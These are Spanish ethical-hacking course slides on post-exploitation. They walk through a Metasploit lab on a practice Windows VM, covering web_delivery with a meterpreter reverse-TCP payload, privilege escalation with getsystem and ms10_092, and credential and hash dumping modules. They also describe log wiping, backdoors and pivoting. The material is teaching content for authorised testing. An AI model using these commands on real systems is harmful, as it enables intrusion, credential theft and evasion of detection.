TEMA 6.
POST-EXPLOTACIÓN
Wilson Castaño Galviz
Haking Ético
Una vez hemos conseguido penetrar en un sistema, la serie de actividades que se
deben realizar son vitales para evitar ser descubiertos y garantizar futuros accesos
a la máquina comprometida.
INTRODUCCIÓN
❖ La fase de post-explotación consiste en determinar el valor de los recursos que
han sido comprometidos en las fases anteriores del proceso.
❖ El valor de un recurso pude terminarse por lo sensible que es la información
que almacena o por la capacidad que puede proporcionar a un atacante para
comprometer mas recursos dentro de la organización.
❖ Debe garantizarse que los procesos de negocio del cliente no se ven expuesto a
un nivel mayor de riego debido a la realización del hacking.
Introducción a la Post-Explotación
• A no ser que exista una petición expresa del cliente, no deben evaluarse ni
modificarse servicios que se consideren críticos
• Toda información privada o personal que se descubra puede ser utilizada para
ganar mas privilegios y obtener información adicional, solo si se tiene
autorización expresa del cliente y del que posee la información.
RECOMENDACIONES
• Las contraseñas (aunque estén cifradas) no deben adjuntarse en el reporte
final.
• No establecer mecanismo de persistencia en una máquina sin el
consentimiento expreso del cliente.
• Toda la información recolectada durante la auditoria debe estar cifrada en los
equipos de los analistas.
• Toda la información recopilada debe ser destruida una vez que el cliente acepte
el reporte final.
RECOMENDACIONES
Recordemos que es un Payload:
En ciberseguridad, se conoce como payload al código malicioso que ejecuta un
hacker en el computador de una víctima.
Por medio de un payload, es posible exfiltrar datos sensibles de la máquina,
instalar malware en ella, ejecutar comandos de manera remota y mucho más.
Meterpreter para post-explotación
Meterpreter es un payload que permite ejecutar tareas de forma remota en una
máquina. Es un software que se ejecuta en un nivel muy bajo de la máquina, por
lo que es bastante difícil de detectar.
Por medio del payload Meterpreter
es posible conectarse a la webcam
del computador vulnerado, a su
teclado, tomar capturas en pantalla
y, en resumen, hacer cualquier cosa
con él.
Meterpreter para post-explotación
EJERCICIO CON METERPRETER
En nuestra máquina virtual Kali Linux. Debemos abrir metasploit, una vez dentro:
Dando click en el ícono de
Kali Linux, usando la barra
búsqueda buscamos
“metasploit”
Para acceder a web_delivery:
“use exploit/multi/script/web_delivery” es el comando que debemos escribir en el terminal
Para configurar el exploit, debemos elegir un objetivo.
“show targets” Nos mostrará los
objetivos a los cuales puede atacar el
exploit, PSH es nuestro objetivo ya que
atacaremos una máquina con
Windows, por lo que haremos uso de
esta opción.
Para elegir el objetivo usaremos el siguiente comando.
“set target 2“ Nos permitirá
elegir nuestro objetivo.
Otro parámetro a configurar es el payload que vamos a utilizar. En este caso meterpreter
“set payload windows/x64/meterpreter/reverse_tcp” con el cual le indicaremos a nuestro
exploit, que payload queremos usar, que versión de Windows queremos atacar, y
mediante que método que en este caso es conexión reversa mediante el protocolo TCP.
En el siguiente paso, es necesario conocer nuestra IP, por lo tanto abriremos otra
pestaña de nuestra terminal para conocer nuestra IP.
En la opción superior, podemos
encontrar el menú “Archivo”, donde
haremos click para luego encontrar la
opción “Nueva pestaña”.
En nuestra nueva terminal, escribiremos el comando “ip a”.
En rojo, observamos el
comando junto a su
sintaxis y en amarillo,
tenemos nuestra
dirección IP, dirección
que usaremos para
configurar en nuestro
exploit
Por último, definiremos desde donde se realizará el ataque.
“set lhost 192.168.56.101” configurará nuestra maquina como origen para el ataque.
Estamos listos para ejecutar nuestro exploit. Mediante el comando “exploit”
Esto nos da como resultado un comando de PowerShell, este comando debemos copiarlo
en nuestra máquina metasploitable Windows 2008 para ejecutar el exploit
En cuanto ejecutamos este comando, podemos observar, como en nuestra máquina Kali
obtenemos una conexión remota.
Daremos enter, y posteriormente para verificar que la sesión fue abierta, usaremos el
comando “sessions” el cual nos debe devolver el estado de la sesión activa.
Para usar nuestra conexión remota, usaremos el comando “sessions 1”
Mediante 2 comandos obtendremos nuestro usuario actual y intentaremos elevar
privilegios
“getuid”: Nos permite observar nuestro nombre de usuario en la máquina infectada.
“getsystem”: Nos permite elevar privilegios mediante diferentes métodos, esto puede
funcionar como no funcionar, en este caso concreto, funcionó.
Nuestro primer script de ejemplo, será saber si este computador es una máquina
virtual.
“run post/windows/gather/checkvm
En este caso podemos obtener este resultado, el cual nos muestra que estamos
ejecutando el sistema operativo en una máquina virtual de VirtualBox. Lo cual es
correcto.
El segundo script de ejemplo, nos revelará los hashes de cada una de las credenciales
del equipo. “run post/windows/gather/credentials/credential_collector”
Como podemos observar, en el
equipo podemos encontrar
llaves.
Nombres que podemos
encontrar en este reporte son:
-Administrator
-sshd_server
-guest
-vagrant
El tercer script de ejemplo, nos mostrará que carpetas se encuentran compartidas en
red mediante este computador en concreto, el comando es el siguiente.
“run post/windows/gather/enum_shares”
Ya que nuestra máquina virtual no posee ninguna carpeta compartida, no se muestra
ningún resultado sobre este escaneo.
Nuestro cuarto script de ejemplo, nos permite sacar los hashes que se encuentren
almacenados en memoria. “run post/windows/gather/hashdump”
En este caso el Script fallo debido a que no encontró nada, y este error no esta
programado por tanto nos muestra el error por consola.
Ahora, para escalar privilegios dentro de la máquina que infectamos. Debemos poner
nuestro proceso en segundo plano, mediante el comando “background”.
Y debemos salir de nuestro exploit actual, ya que lo hemos ejecutado, haciendo uso del
comando “back” saldremos de este.
Usaremos un método de análisis para post explotación que nos mostrará que
vulnerabilidades son ejecutables para nuestra máquina metasploitable.
“use post/multi/recon/local_exploit_suggester”
Ahora, debemos indicarle en que sesión ejecutaremos el exploit. “set session 1”
Ahora ejecutaremos el exploit mediante el mismo comando que usamos
anteriormente, “exploit”
Ahora, podemos observar el número de exploits disponibles, 381 son los cuales ha
revisado si pueden ser compatibles y 2259 los totales. El reporte generó lo siguiente:
Los exploits en verde,
son aquellos que
podemos ejecutar,
los rojos aquellos que
podrían hacerlo pero
este sistema no los
tiene en ejecución.
En este caso, usaremos el exploit scheduler
“use exploit/windows/local/ms10_092_schelevator” que dará privilegios de
administrador.
Para configurarlo usaremos los comandos que usamos en el anterior exploit.
“set session 1” indicando la sesión en la que tenemos el computador infectado
“set lhost 192.168.56.101” indicando la ip de nuestro computador atacante
Ejecutaremos el comando “exploit”
Este exploit crea un pequeño proceso
dentro de la carpeta System32 para
poder escalar privilegios.
Sin embargo no lo ha logrado por tanto
termina sin mostrarnos ninguna sesión.
Tras lograr el primer acceso a una máquina, las capacidades del atacante no
siempre son suficientes como para tomar el control de esta.
Si el vector de ataque explotado lleva, por ejemplo, a obtener la sesión de un
usuario de servicio, será necesario desarrollar técnicas que permitan hacerse con
una cuenta de administración.
Escalada De Privilegios
Cuando hablemos de escalada de privilegios nos centraremos en obtener acceso
a dos cuentas particulares:
SYSTEM: la cuenta de Root: la cuenta del
administración en superusuario en sistemas
sistemas Windows. Linux.
Escalada De Privilegios
Cualquier cambio de perfil que otorgue más capacidades al atacante supondrá
una escalada de privilegios (hacerse con la cuenta de un usuario que pueda, por
ejemplo, instalar algún software, aunque no otorgue permisos de administración)
Escalada De Privilegios
Cualquier tipo de rastro que se deje en una máquina objetivo puede ser
posteriormente utilizado en un análisis forense y con esto cerrar definitivamente
nuestras alternativas de acceso a la máquina comprometida.
“En muchos casos también
conlleva a acciones legales
que evidentemente serán
indeseables para el atacante”
Borrar Logs y matar procesos de software de
monitorización
Un punto para tener completamente a disposición una máquina remota, es
establecer puertas traseras y rootkits, con el fin de garantizar nuestro acceso en el
caso de que el mecanismo utilizado para acceder ya no se encuentre disponible.
Aunque cierren una ruta de entrada, una puerta trasera va a permitir acceder a la
máquina objetivo nuevamente y realizar cualquier tipo de acción.
Establecer puertas Traseras, Rootkits
Una vez tenemos a nuestra disposición una máquina en un segmento de red,
podremos hacer uso de dicha máquina para comprometer alguna otra a la que se
pueda acceder desde la máquina comprometida.
Pivoting
Las técnicas que permiten desplazarse a través de nuevos sistemas desde una
máquina infectada se conocen como tácticas de movimiento lateral o pivoting.
Proxies y sockets. A través de la instalación de proxies en la víctima, pueden
encaminarse las conexiones al segmento oculto. También pueden diseñarse
herramientas ad-hoc o utilizando comandos como netcat.
Pivoting
Enrutamiento. Mediante las tablas de enrutamiento del sistema se debe habilitar
el forwarding en la máquina víctima e indicar en la máquina atacante que las
conexiones de red con destino al segmento de red destino se encaminen a través
de la máquina vulnerada.
Pivoting
muchas gracias